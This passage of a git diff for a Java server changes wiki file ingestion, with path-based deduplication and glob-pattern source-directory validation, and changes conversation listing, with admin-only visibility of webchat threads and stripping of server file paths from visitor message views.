or changed + *

    Dedup strategy (in priority order): + *

      + *
    1. Source path: if a raw for {@code (kbId, absolutePath)} already exists, + * compare hashes. Unchanged → skip; changed → update in-place so the same raw + * row is reused rather than creating a duplicate row for the same file path.
    2. + *
    3. Content hash: if a different file with identical content already exists + * in the KB, the existing raw is reused (copy/duplicate scenario).
    4. + *
    + * + * @return {@code true} when the file was newly ingested or updated (new or changed * content), {@code false} when skipped as unchanged */ public boolean ingestTextFileFromScan(Long kbId, String fileName, String absolutePath, String content) { String hash = computeHash(content); + + // Primary dedup: same source path already in this KB + WikiRawMaterialEntity byPath = findBySourcePath(kbId, absolutePath); + if (byPath != null) { + if (hash != null && hash.equals(byPath.getContentHash())) { + return false; // unchanged + } + // File changed: update existing raw in-place to avoid a duplicate row + updateTextContentFromScan(byPath.getId(), fileName, content, absolutePath); + return true; + } + + // Secondary dedup: different path but identical content (copy of an existing file) WikiRawMaterialEntity sameContent = rawMapper.selectOne( new LambdaQueryWrapper() .eq(WikiRawMaterialEntity::getKbId, kbId) .eq(WikiRawMaterialEntity::getContentHash, hash) .last("LIMIT 1")); - // addText dedups internally by hash, so this reuses sameContent when - // unchanged and inserts + triggers processing when the content differs. WikiRawMaterialEntity raw = addText(kbId, fileName, content); // Only stamp the path on a genuinely new raw. When the content matched // an existing raw (possibly a different file with identical content), @@ -116,13 +133,49 @@ public class WikiRawMaterialService { } /** - * Import a binary file discovered by a directory scan, detecting content - * changes by hashing the bytes: unchanged content (a raw with the same hash - * exists) is skipped, while changed content is re-ingested via - * {@link #addFile}. The unchanged case reads the file once; only a - * new/changed file is read again by addFile. + * Update an existing text raw in-place when a directory-scanned file has changed content. + * Resets processing state and triggers re-processing so new pages are generated from the + * updated content without leaving a stale duplicate row alongside the new one. * - * @return {@code true} when newly ingested, {@code false} when unchanged + *

    No {@code @Transactional}: this runs a single atomic {@code updateById} and is only + * reached via self-invocation from {@code ingestTextFileFromScan}, where the annotation + * would be bypassed by the proxy anyway. The re-processing event is published after the + * row is persisted so the async listener reads committed state. + */ + public void updateTextContentFromScan(Long rawId, String title, String content, String sourcePath) { + WikiRawMaterialEntity entity = rawMapper.selectById(rawId); + if (entity == null) return; + String hash = computeHash(content); + entity.setTitle(title); + entity.setOriginalContent(content); + entity.setContentHash(hash); + entity.setFileSize((long) content.getBytes(StandardCharsets.UTF_8).length); + entity.setSourcePath(sourcePath); + entity.setProcessingStatus("pending"); + entity.setErrorMessage(null); + entity.setExtractedText(null); + entity.setProgressPhase(null); + entity.setProgressDone(0); + entity.setProgressTotal(0); + rawMapper.updateById(entity); + log.info("[Wiki] Text raw updated in-place from scan: id={}, kbId={}, newHash={}", rawId, entity.getKbId(), hash); + if (properties.isAutoProcessOnUpload()) { + eventPublisher.publishEvent(new WikiProcessingEvent(this, rawId, entity.getKbId())); + } + } + + /** + * Import a binary file discovered by a directory scan. + * + *

    Dedup strategy (in priority order): + *

      + *
    1. Source path: if a raw for {@code (kbId, absolutePath)} already exists, + * compare hashes. Unchanged → skip; changed → update in-place.
    2. + *
    3. Content hash: if a different file with identical bytes already exists, + * the existing raw is reused.
    4. + *
    + * + * @return {@code true} when newly ingested or updated, {@code false} when unchanged */ public boolean ingestBinaryFileFromScan(Long kbId, String title, String sourceType, String absolutePath, long fileSize) { @@ -132,6 +185,19 @@ public class WikiRawMaterialService { } catch (Exception e) { log.warn("[Wiki] Could not hash file for change detection: {}", e.getMessage()); } + + // Primary dedup: same source path already in this KB + WikiRawMaterialEntity byPath = findBySourcePath(kbId, absolutePath); + if (byPath != null) { + if (hash != null && hash.equals(byPath.getContentHash())) { + return false; // unchanged + } + // File changed: update existing raw in-place + updateBinaryFileFromScan(byPath.getId(), absolutePath, fileSize, hash); + return true; + } + + // Secondary dedup: same content hash → copy at a different path if (hash != null) { WikiRawMaterialEntity sameContent = rawMapper.selectOne( new LambdaQueryWrapper() @@ -147,6 +213,32 @@ public class WikiRawMaterialService { return true; } + /** + * Update an existing binary raw in-place when a directory-scanned file has changed content. + * + *

    No {@code @Transactional}: single atomic {@code updateById} reached only via + * self-invocation from {@code ingestBinaryFileFromScan} (proxy bypassed); the re-processing + * event is published after the row is persisted. + */ + public void updateBinaryFileFromScan(Long rawId, String sourcePath, long fileSize, String hash) { + WikiRawMaterialEntity entity = rawMapper.selectById(rawId); + if (entity == null) return; + entity.setContentHash(hash); + entity.setFileSize(fileSize); + entity.setSourcePath(sourcePath); + entity.setProcessingStatus("pending"); + entity.setErrorMessage(null); + entity.setExtractedText(null); + entity.setProgressPhase(null); + entity.setProgressDone(0); + entity.setProgressTotal(0); + rawMapper.updateById(entity); + log.info("[Wiki] Binary raw updated in-place from scan: id={}, kbId={}, newHash={}", rawId, entity.getKbId(), hash); + if (properties.isAutoProcessOnUpload()) { + eventPublisher.publishEvent(new WikiProcessingEvent(this, rawId, entity.getKbId())); + } + } + /** * Record the originating file path on a raw material via a partial update, * so a later directory re-scan can dedup it by source path. Used for @@ -541,7 +633,10 @@ public class WikiRawMaterialService { // 二进制文件:调用 DocumentExtractTool 提取 if (entity.getSourcePath() != null && !entity.getSourcePath().isBlank()) { try { - String result = documentExtractTool.extract_document_text(entity.getSourcePath(), null, null); + // Server-managed path (staged under the wiki upload dir): use the + // sandbox-exempt entry so the workspace boundary guard does not + // reject the upload dir as "outside workspace boundary". + String result = documentExtractTool.extractTrustedDocument(entity.getSourcePath(), null); JSONObject json = JSONUtil.parseObj(result); if (json.getBool("success", false)) { String text = json.getStr("text"); diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourcePathValidator.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourcePathValidator.java index 2400a88b..72078f03 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourcePathValidator.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourcePathValidator.java @@ -8,7 +8,10 @@ import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.Arrays; import java.util.List; +import java.util.stream.Collectors; /** * Single point of truth for validating a KB source directory path, shared by @@ -22,6 +25,10 @@ import java.util.List; * canonicalized (opt-in enforcement — existing single-tenant / desktop setups * keep working, server operators can lock it down). * + *

    Also owns the parsing helpers for the multi-line source-paths config + * format so that both the validation endpoint and the scan service share a + * single implementation. + * * @author MateClaw Team */ @Slf4j @@ -34,6 +41,48 @@ public class WikiSourcePathValidator { this.properties = properties; } + // ==================== parsing helpers (stateless, no Spring context) ==================== + + /** + * Parse the {@code sourceDirectory} field: split by newline, strip blank + * lines and lines starting with {@code #}. + */ + public static List parseSourcePatterns(String raw) { + if (raw == null || raw.isBlank()) return List.of(); + return Arrays.stream(raw.split("\n")) + .map(String::trim) + .filter(s -> !s.isBlank() && !s.startsWith("#")) + .collect(Collectors.toList()); + } + + /** + * Extract the fixed-prefix base directory from a glob pattern — the + * leading path segments before the first wildcard segment. + *

    + * Examples: + *

      + *
    • {@code /data/ocr/**}{@code /*.txt} → {@code /data/ocr}
    • + *
    • {@code /data/*.txt} → {@code /data}
    • + *
    • {@code /data/docs} → {@code /data/docs} (no wildcard)
    • + *
    + */ + public static String extractBasePath(String pattern) { + if (!containsWildcard(pattern)) { + return pattern; + } + String[] segments = pattern.split("/", -1); + List baseSegments = new ArrayList<>(); + for (String seg : segments) { + if (containsWildcard(seg)) break; + baseSegments.add(seg); + } + if (baseSegments.isEmpty()) return "/"; + String joined = String.join("/", baseSegments); + return joined.isEmpty() ? "/" : joined; + } + + // ==================== validation ==================== + /** * Canonicalize and authorize a source directory path. * @@ -46,18 +95,20 @@ public class WikiSourcePathValidator { } Path resolved = canonicalize(Paths.get(rawPath)); List roots = properties.getAllowedSourceRoots(); - if (roots == null || roots.isEmpty()) { + // Filter blank entries so MATE_WIKI_ALLOWED_SOURCE_ROOTS="" (unset env var) + // behaves identically to an empty list rather than a list with one blank entry. + List nonBlankRoots = (roots == null) ? List.of() + : roots.stream().filter(r -> r != null && !r.isBlank()).toList(); + if (nonBlankRoots.isEmpty()) { if (properties.isRequireAllowedRoots()) { throw new IllegalArgumentException( "No allowed source roots are configured; refusing the path (fail-closed). " - + "Set mate.wiki.allowed-source-roots to permit directories."); + + "Set MATE_WIKI_ALLOWED_SOURCE_ROOTS (env var) or " + + "mate.wiki.allowed-source-roots to permit directories."); } return resolved; } - for (String root : roots) { - if (root == null || root.isBlank()) { - continue; - } + for (String root : nonBlankRoots) { Path rootPath = canonicalize(Paths.get(root)); if (resolved.startsWith(rootPath)) { return resolved; @@ -67,6 +118,40 @@ public class WikiSourcePathValidator { "Path is outside the allowed source roots: " + resolved); } + /** + * Validate all patterns in a multi-line source-directory config. Each + * non-blank, non-comment line is validated; the first violation is thrown. + * + * @throws IllegalArgumentException describing which line failed and why + */ + public void validateSourcePatterns(String raw) { + List patterns = parseSourcePatterns(raw); + for (String pattern : patterns) { + validatePatternBase(pattern); + } + } + + /** + * Validate a single path-or-glob-pattern: for glob patterns the + * fixed-prefix base directory is extracted and validated; for plain paths + * the path itself is validated. + * + * @return the resolved base directory path + * @throws IllegalArgumentException when the base is outside the allowed roots + */ + public Path validatePatternBase(String pattern) { + if (pattern == null || pattern.isBlank()) { + throw new IllegalArgumentException("Pattern is blank"); + } + String basePath = extractBasePath(pattern); + try { + return validateDirectory(basePath); + } catch (IllegalArgumentException e) { + throw new IllegalArgumentException( + "Pattern '" + pattern + "' has an invalid base path: " + e.getMessage(), e); + } + } + /** Whether a path passes validation, without throwing. */ public boolean isAllowed(String rawPath) { try { @@ -77,6 +162,8 @@ public class WikiSourcePathValidator { } } + // ==================== private ==================== + private Path canonicalize(Path path) { Path abs = path.toAbsolutePath().normalize(); if (Files.exists(abs)) { @@ -88,4 +175,8 @@ public class WikiSourcePathValidator { } return abs; } + + private static boolean containsWildcard(String s) { + return s.contains("*") || s.contains("?") || s.contains("{") || s.contains("["); + } } diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourceWatcherService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourceWatcherService.java index 2101a130..52ac3355 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourceWatcherService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiSourceWatcherService.java @@ -63,6 +63,12 @@ public class WikiSourceWatcherService { public int runScanCycle() { int totalAdded = 0; for (WikiKnowledgeBaseEntity kb : kbService.listAll()) { + // Per-KB opt-in: the global master switch (checked in scheduledScan) + // gates the scheduler at all; this flag gates each KB. AND semantics — + // a KB is auto-scanned only when both are on. Manual scans bypass this. + if (kb.getWatcherEnabled() == null || kb.getWatcherEnabled() != 1) { + continue; + } vip.mate.wiki.source.WikiIngestSourceProvider provider = providerFor(kb); if (provider == null) { continue; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationAggregator.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationAggregator.java index 5e21a5f4..629b2c8f 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationAggregator.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationAggregator.java @@ -57,6 +57,12 @@ public class WikiTransformationAggregator { @Autowired(required = false) private WikiEmbeddingService embeddingService; + /** Optional. When wired, the aggregate page is classified against the KB's + * pageType profile (template target type, else the profile fallback) + * instead of a hard-coded type that sits outside every profile. */ + @Autowired(required = false) + private vip.mate.wiki.profile.WikiPageTypeProfileService pageTypeProfileService; + private final com.fasterxml.jackson.databind.ObjectMapper objectMapper = new com.fasterxml.jackson.databind.ObjectMapper(); @@ -152,12 +158,16 @@ public class WikiTransformationAggregator { + (triggeredBy == null ? "manual" : triggeredBy); String sourceRawIdsJson = toJsonArray(new ArrayList<>(sourceRawIds)); + String pageType = pageTypeProfileService == null + ? "synthesis" + : pageTypeProfileService.normalizePageType(kbId, template.getTargetPageType()); + WikiPageEntity existing = pageService.getBySlug(kbId, slug); WikiPageEntity persisted; boolean created; if (existing == null) { persisted = pageService.createPage(kbId, slug, title, mergedOutput, summary, - sourceRawIdsJson, "synthesis"); + sourceRawIdsJson, pageType); created = true; } else { persisted = pageService.updatePageByAi(kbId, slug, mergedOutput, summary, diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationExecutor.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationExecutor.java index c6961dd2..38f1e31c 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationExecutor.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationExecutor.java @@ -58,6 +58,12 @@ public class WikiTransformationExecutor { @Autowired(required = false) private WikiPageService pageService; + /** Optional. When wired, a run saved as a page is classified against the + * KB's pageType profile (template target type, else the profile fallback) + * instead of a hard-coded type that sits outside every profile. */ + @Autowired(required = false) + private vip.mate.wiki.profile.WikiPageTypeProfileService pageTypeProfileService; + /** Optional. When wired, every persisted synthesis page is embedded so * the semantic retriever can surface it on terms that exist only in the * transformation output (not in any source raw's chunks). */ @@ -628,12 +634,13 @@ public class WikiTransformationExecutor { String title = template.getTitle() + " · " + safeTitle(raw); String summary = deriveSummary(output); String sourceRawIdsJson = toJsonArray(raw.getId()); + String pageType = resolvePageType(kbId, template); WikiPageEntity existing = pageService.getBySlug(kbId, slug); WikiPageEntity persisted; if (existing == null) { persisted = pageService.createPage(kbId, slug, title, output, summary, - sourceRawIdsJson, "synthesis"); + sourceRawIdsJson, pageType); log.info("[WikiTransformation] saved run={} as new page slug={} pageId={}", run.getId(), slug, persisted.getId()); } else { @@ -686,6 +693,19 @@ public class WikiTransformationExecutor { "\\.(pdf|docx?|pptx?|xlsx?|csv|tsv|txt|md|markdown|rtf|odt|epub|html?|json|xml|yaml|yml|jpe?g|png|gif|bmp|tiff?|webp|svg|mp3|wav|mp4|mov|webm)$", java.util.regex.Pattern.CASE_INSENSITIVE); + /** + * Classify the saved page against the KB's pageType profile: use the + * template's declared target type, normalised (an unknown / blank type is + * downgraded to the profile's fallbackType). Falls back to the legacy + * {@code "synthesis"} only when the profile service is not wired. + */ + private String resolvePageType(Long kbId, WikiTransformationEntity template) { + if (pageTypeProfileService == null) { + return "synthesis"; + } + return pageTypeProfileService.normalizePageType(kbId, template.getTargetPageType()); + } + private static String buildSlug(WikiTransformationEntity template, WikiRawMaterialEntity raw) { String trimmedTitle = stripFileExtension(raw.getTitle()); String rawPart = WikiPageService.toSlug(trimmedTitle); diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationService.java index 90ed1606..729d7e09 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiTransformationService.java @@ -112,6 +112,7 @@ public class WikiTransformationService { entity.setOutputTarget(normalizeOutputTarget(input.getOutputTarget())); entity.setOutputFormat(normalizeOutputFormat(input.getOutputFormat())); entity.setOutputSchema(sanitizeOutputSchema(input.getOutputSchema())); + entity.setTargetPageType(normalizeTargetPageType(input.getTargetPageType())); transformationMapper.insert(entity); log.info("[WikiTransformation] created id={} name={} kbId={}", entity.getId(), entity.getName(), entity.getKbId()); @@ -144,6 +145,10 @@ public class WikiTransformationService { // Empty string clears the schema; non-blank gets stored after a parse check. entity.setOutputSchema(sanitizeOutputSchema(patch.getOutputSchema())); } + if (patch.getTargetPageType() != null) { + // Empty string clears (back to profile fallback); non-blank is stored lowercase. + entity.setTargetPageType(normalizeTargetPageType(patch.getTargetPageType())); + } transformationMapper.updateById(entity); return entity; } @@ -158,6 +163,19 @@ public class WikiTransformationService { }; } + /** + * Normalise the optional target pageType. Blank / null means "auto" — + * stored as {@code null} so the executor falls back to the profile's + * {@code fallbackType} at save time. Membership against the KB profile is + * NOT validated here: that is deferred to {@code normalizePageType} at + * page-save time, so editing a profile never breaks an existing template. + */ + private static String normalizeTargetPageType(String raw) { + if (raw == null) return null; + String trimmed = raw.trim(); + return trimmed.isEmpty() ? null : trimmed.toLowerCase(); + } + /** Whitelist incoming outputFormat; unknown / null = "markdown". */ private static String normalizeOutputFormat(String raw) { if (raw == null) return "markdown"; diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/tool/WikiTool.java b/mateclaw-server/src/main/java/vip/mate/wiki/tool/WikiTool.java index cff6f4ee..526e3285 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/tool/WikiTool.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/tool/WikiTool.java @@ -91,6 +91,12 @@ public class WikiTool { @Autowired(required = false) private ApprovalWorkflowService approvalWorkflowService; + /** Optional. Classifies an agent-authored page against the KB's pageType + * profile fallback so it lands inside the KB classification rather than + * as an untyped page. Absent in lightweight contexts — page stays untyped. */ + @Autowired(required = false) + private vip.mate.wiki.profile.WikiPageTypeProfileService pageTypeProfileService; + /** * Per-agent pageType permission gate. Mandatory: this is a security control, * so it is a required constructor dependency rather than an optional bean — @@ -172,6 +178,10 @@ public class WikiTool { Use sectionHeading to read only one section by its heading text. The result includes a "sourceFiles" field listing the source documents this page was derived from. When using content from this page in your answer, cite the page title and source files. + + Convention: a user message containing `[[]]` (e.g. `参考知识库页面 [[auth-design]]: ...`) + is a wiki-page reference inserted by the chat picker. Treat each `[[slug]]` as a request to + consult that page first — call this tool with the bare slug before answering. """) public String wiki_read_page( @ToolParam(description = "Agent ID") Long agentId, @@ -390,19 +400,20 @@ public class WikiTool { } JSONArray arr = new JSONArray(); + int index = 1; for (HybridRetriever.ChunkHit hit : hits) { cn.hutool.json.JSONObject obj = JSONUtil.createObj() + .set("index", index) .set("chunkId", hit.chunkId()) .set("rawTitle", rawTitles.getOrDefault(hit.rawId(), "unknown")) .set("snippet", hit.snippet()) .set("score", String.format("%.4f", hit.score())); - // RFC-051 PR-1c: surface chunk metadata when available so the agent - // can cite "page 12, section 'Setup / Linux'" rather than an opaque snippet. if (hit.pageNumber() != null) obj.set("pageNumber", hit.pageNumber()); if (hit.headerBreadcrumb() != null && !hit.headerBreadcrumb().isBlank()) { obj.set("section", hit.headerBreadcrumb()); } arr.add(obj); + index++; } return JSONUtil.createObj() @@ -410,6 +421,7 @@ public class WikiTool { .set("query", query) .set("matchCount", hits.size()) .set("chunks", arr) + .set("citationHint", "引用格式示例:[1] 表示第一条结果,[2] 表示第二条结果。在回答末尾列出所有引用来源。") .toString(); } @@ -489,8 +501,13 @@ public class WikiTool { } String summary = content.length() > 200 ? content.substring(0, 200) + "..." : content; - WikiPageEntity page = pageService.createPage(kbId, slug, title, content, summary, null); - log.info("[WikiTool] Created page: {} (slug={}, kbId={})", title, slug, kbId); + // Classify into the KB profile's fallbackType so an agent-authored page + // joins the KB classification instead of being stored untyped. + String pageType = pageTypeProfileService == null + ? null + : pageTypeProfileService.normalizePageType(kbId, null); + WikiPageEntity page = pageService.createPage(kbId, slug, title, content, summary, null, pageType); + log.info("[WikiTool] Created page: {} (slug={}, kbId={}, type={})", title, slug, kbId, pageType); return JSONUtil.createObj() .set("ok", true) diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/ConversationService.java b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/ConversationService.java index 1c71606e..bc9c703b 100644 --- a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/ConversationService.java +++ b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/ConversationService.java @@ -17,6 +17,8 @@ import vip.mate.approval.MetadataDecision; import vip.mate.agent.repository.AgentMapper; import vip.mate.approval.model.ToolApprovalEntity; import vip.mate.approval.repository.ToolApprovalMapper; +import vip.mate.auth.model.UserEntity; +import vip.mate.auth.service.AuthService; import vip.mate.channel.model.ChannelSessionEntity; import vip.mate.channel.repository.ChannelSessionMapper; import vip.mate.task.model.AsyncTaskEntity; @@ -29,6 +31,7 @@ import vip.mate.workspace.conversation.repository.ConversationMapper; import vip.mate.workspace.conversation.repository.MessageMapper; import vip.mate.workspace.conversation.vo.ConversationVO; import vip.mate.workspace.conversation.vo.MessageVO; +import vip.mate.workspace.core.service.WorkspaceService; import java.io.IOException; import java.nio.file.Files; @@ -62,6 +65,17 @@ public class ConversationService { public static final String SYSTEM_USER = "system"; + /** + * Owner prefix for webchat conversations, written as {@code webchat:} + * (see {@code WebChatController#webchatUsername}). These rows are owned by an + * external visitor principal rather than a MateClaw account, so the admin + * console treats them like {@link #SYSTEM_USER} rows — visible to / manageable + * by any authenticated user in the workspace. The visitor-facing self-service + * endpoints keep isolating by the exact owner plus a signed visitor token, so + * surfacing these rows to the console does not widen a visitor's own access. + */ + static final String WEBCHAT_OWNER_PREFIX = "webchat:"; + private final ConversationMapper conversationMapper; private final MessageMapper messageMapper; private final AgentMapper agentMapper; @@ -70,6 +84,8 @@ public class ConversationService { private final AsyncTaskMapper asyncTaskMapper; private final ChannelSessionMapper channelSessionMapper; private final ApplicationEventPublisher eventPublisher; + private final AuthService authService; + private final WorkspaceService workspaceService; /** * Optional spill store. Injected via a setter so the existing @RequiredArgsConstructor @@ -97,17 +113,44 @@ public class ConversationService { /** * Workspace-scoped variant of {@link #listConversations(String)}. * + *

    Strict ownership: only the user's own + {@code system} rows. Used by + * callers that must not see other principals' conversations — notably the + * webchat visitor self-service path, which scopes to one visitor. + * *

    获取用户的会话列表(按工作区过滤)。 */ public List listConversations(String username, Long workspaceId) { + return listConversations(username, workspaceId, false); + } + + /** + * Admin-console variant. When {@code includeChannelPrincipals} is true, also + * returns conversations owned by external channel principals + * ({@code webchat:}) so the console surfaces webchat threads + * alongside the user's own + {@code system} rows — the same way IM-channel + * ({@code system}-owned) conversations already appear. The visitor-facing + * webchat endpoints keep using the strict overload, so this does not widen a + * visitor's own access. + * + *

    控制台变体:includeChannelPrincipals 为 true 时额外纳入 webchat 访客会话。 + */ + public List listConversations(String username, Long workspaceId, + boolean includeChannelPrincipals) { // Return both the current user's conversations AND those created by // scheduled jobs (owner=system). Child conversations spawned by // delegation are excluded — they don't belong in the sidebar. // // 同时返回当前用户的会话和定时任务(system)产生的会话; // 排除子会话(委派产生的子会话不在侧边栏显示)。 + // + // External channel principals (webchat) are only surfaced to global + // admins: per isConversationOwner they are the only ones who can open a + // webchat-owned conversation, so listing them to anyone else would show + // rows the caller would then 403 on (issue #344 alignment). + boolean includeWebchat = includeChannelPrincipals && isGlobalAdmin(username); LambdaQueryWrapper wrapper = new LambdaQueryWrapper() - .in(ConversationEntity::getUsername, username, SYSTEM_USER) + .and(w -> applyOwnerScope(w, username, includeWebchat)) + .and(this::applyMalformedIdGuard) .isNull(ConversationEntity::getParentConversationId) .orderByDesc(ConversationEntity::getPinned) .orderByDesc(ConversationEntity::getLastActiveTime); @@ -147,6 +190,52 @@ public class ConversationService { .collect(Collectors.toList()); } + /** + * Apply the owner-scope predicate onto a (nested) wrapper: always the user's + * own + {@link #SYSTEM_USER} rows; when {@code includeChannelPrincipals} is + * true, also external channel-principal rows ({@code webchat:%}). Kept as one + * helper so the list and page queries stay in lockstep. + */ + private void applyOwnerScope(LambdaQueryWrapper w, + String username, boolean includeChannelPrincipals) { + w.in(ConversationEntity::getUsername, username, SYSTEM_USER); + if (includeChannelPrincipals) { + w.or().likeRight(ConversationEntity::getUsername, WEBCHAT_OWNER_PREFIX); + } + } + + /** + * Exclude rows whose conversationId ends in ":" — malformed (e.g. + * {@code webchat::} with empty visitorId, from older versions). + * Showing them in the console surfaces threads that 500/403 on open + * because the trailing ":" makes some reverse proxies strip the path + * tail (issue #369). + * + *

    Uses {@code notLikeLeft} rather than {@code notLike(...,"%:")}: the + * latter auto-wraps the value with extra {@code %} on both sides AND + * escapes the user-supplied {@code %}, producing a {@code %%:%} pattern + * that matches any id containing a colon — silently filtering + * out every {@code webchat:…}, {@code feishu:…}, {@code cron:…} + * conversation from the list. {@code notLikeLeft} only prepends the + * wildcard, giving the intended {@code NOT LIKE '%:'} ("does not end + * with a colon"). + */ + private void applyMalformedIdGuard(LambdaQueryWrapper w) { + w.notLikeLeft(ConversationEntity::getConversationId, ":"); + } + + /** + * Whether the user is a global admin (role=admin), resolved from the DB — + * never from client-controlled data. Gates webchat row visibility in the + * admin-console list/page: {@link #isConversationOwner} only lets a global + * admin open a webchat-owned conversation, so only admins should see those + * rows — otherwise the console lists threads it would then 403 on. + */ + private boolean isGlobalAdmin(String username) { + UserEntity u = authService.findByUsername(username); + return u != null && "admin".equalsIgnoreCase(u.getRole()); + } + /** * Paginated variant used by the Sessions admin page. * @@ -166,8 +255,12 @@ public class ConversationService { com.baomidou.mybatisplus.extension.plugins.pagination.Page pager = new com.baomidou.mybatisplus.extension.plugins.pagination.Page<>(page, size); + // Admin Sessions page surfaces channel conversations too, but only to + // global admins — they are the only ones who can open a webchat-owned + // conversation (issue #344), so non-admins must not see those rows. LambdaQueryWrapper wrapper = new LambdaQueryWrapper() - .in(ConversationEntity::getUsername, username, SYSTEM_USER) + .and(w -> applyOwnerScope(w, username, isGlobalAdmin(username))) + .and(this::applyMalformedIdGuard) .isNull(ConversationEntity::getParentConversationId) .orderByDesc(ConversationEntity::getPinned) .orderByDesc(ConversationEntity::getLastActiveTime); @@ -253,6 +346,72 @@ public class ConversationService { return conv; } + /** + * WebChat get-or-create that also records the thread's {@code sessionId} on + * insert, so the visitor's /sessions listing can recover it even when the + * conversationId hashes (long visitorId + sessionId). The session id is + * written only when the row is first created; an existing row is left as-is. + */ + @Transactional + public ConversationEntity getOrCreateWebchatConversation(String conversationId, Long agentId, + String username, Long workspaceId, + String sessionId) { + return getOrCreateWebchatConversation(conversationId, agentId, username, workspaceId, sessionId, null); + } + + /** + * WebChat get-or-create with an optional caller-supplied title. + *

    + * When the row is freshly inserted and {@code title} is non-blank, it + * overrides the default {@code "新对话"}; otherwise the default is kept and + * {@link #saveMessage} will still derive a title from the first user + * message. An existing row is never rewritten — neither {@code sessionId} + * nor {@code title} are clobbered, so a session created via + * {@code POST /sessions} with a caller-supplied title keeps that title + * when the first {@code /stream} message later lands. + */ + @Transactional + public ConversationEntity getOrCreateWebchatConversation(String conversationId, Long agentId, + String username, Long workspaceId, + String sessionId, String title) { + boolean existed = conversationMapper.selectOne(new LambdaQueryWrapper() + .eq(ConversationEntity::getConversationId, conversationId)) != null; + ConversationEntity conv = getOrCreateConversation(conversationId, agentId, username, workspaceId); + if (!existed) { + boolean dirty = false; + if (sessionId != null && !sessionId.isBlank() && conv.getWebchatSessionId() == null) { + conv.setWebchatSessionId(sessionId); + dirty = true; + } + if (title != null && !title.isBlank()) { + conv.setTitle(title.trim()); + dirty = true; + } + if (dirty) { + conversationMapper.updateById(conv); + } + } + return conv; + } + + /** + * List a webchat visitor's own conversations (top-level threads), ordered + * pinned-desc then last-active-desc. + *

    + * Scoped to {@code username = owner} only — unlike {@link #listConversations} + * it does not pull in {@code system} rows, so a visitor's /sessions + * call doesn't load every IM/cron conversation in the database just to list + * its own handful of threads. The caller still applies the channel-prefix + * filter (literal {@code startsWith}, wildcard-safe) to isolate the channel. + */ + public List listWebchatConversations(String username) { + return conversationMapper.selectList(new LambdaQueryWrapper() + .eq(ConversationEntity::getUsername, username) + .isNull(ConversationEntity::getParentConversationId) + .orderByDesc(ConversationEntity::getPinned) + .orderByDesc(ConversationEntity::getLastActiveTime)); + } + /** * Create a child conversation (delegation scenario), linking it back to * its parent via {@code parentConversationId}. @@ -522,6 +681,21 @@ public class ConversationService { } } + /** + * Archive or unarchive a conversation (webchat soft-close). Mirrors + * {@link #setPinned}: archived threads stay on disk (history preserved, + * addressable, downloadable) but are excluded from default listings; the + * caller opts back in via {@code includeArchived=true}. + */ + public void setArchived(String conversationId, boolean archived) { + ConversationEntity conv = conversationMapper.selectOne(new LambdaQueryWrapper() + .eq(ConversationEntity::getConversationId, conversationId)); + if (conv != null) { + conv.setArchived(archived ? 1 : 0); + conversationMapper.updateById(conv); + } + } + /** * Update a conversation's stream status ({@code running} / {@code idle}). * @@ -599,6 +773,30 @@ public class ConversationService { return conv != null ? conv.getLastMessage() : null; } + /** + * Find the most recent message of a given role in a conversation. + * Used by the webchat regenerate flow to find the seed user message and + * locate the assistant reply to delete. Returns null if no match. + */ + public MessageEntity findLastMessageByRole(String conversationId, String role) { + List msgs = messageMapper.selectList(new LambdaQueryWrapper() + .eq(MessageEntity::getConversationId, conversationId) + .eq(MessageEntity::getRole, role) + .orderByDesc(MessageEntity::getId) + .last("LIMIT 1")); + return msgs.isEmpty() ? null : msgs.get(0); + } + + /** + * Delete a single message by its primary key. Used by the webchat + * regenerate flow to drop the last assistant reply before re-running. + * Does NOT touch the conversation's messageCount counter — that is + * rewritten when the new assistant message is persisted by saveMessage. + */ + public void deleteMessageById(Long messageId) { + messageMapper.deleteById(messageId); + } + /** * Get a conversation's message count. * @@ -807,6 +1005,36 @@ public class ConversationService { .toList(); } + /** + * External-facing message views for untrusted callers (webchat visitors). + * Strips the server-side absolute file path from both the structured parts + * ({@code path} nulled) and the rendered text, so the server filesystem + * layout is never disclosed. Visitors still get {@code fileUrl} / {@code + * fileName} / {@code contentType} to render and download attachments. + */ + public List listMessageViewsExternal(String conversationId) { + return toExternalMessageViews(listMessages(conversationId)); + } + + /** + * Map already-loaded message entities to external (path-stripped) views. + * Shared by the full-list and paginated webchat paths so sanitization stays + * in one place. + */ + public List toExternalMessageViews(List messages) { + return messages.stream() + .map(message -> { + List parts = parseMessageParts(message); + parts.forEach(p -> { + if (p != null) { + p.setPath(null); + } + }); + return MessageVO.from(message, parts, renderMessageContent(message, false)); + }) + .toList(); + } + /** * Delete a conversation and cascade-clean every row that referenced it. *

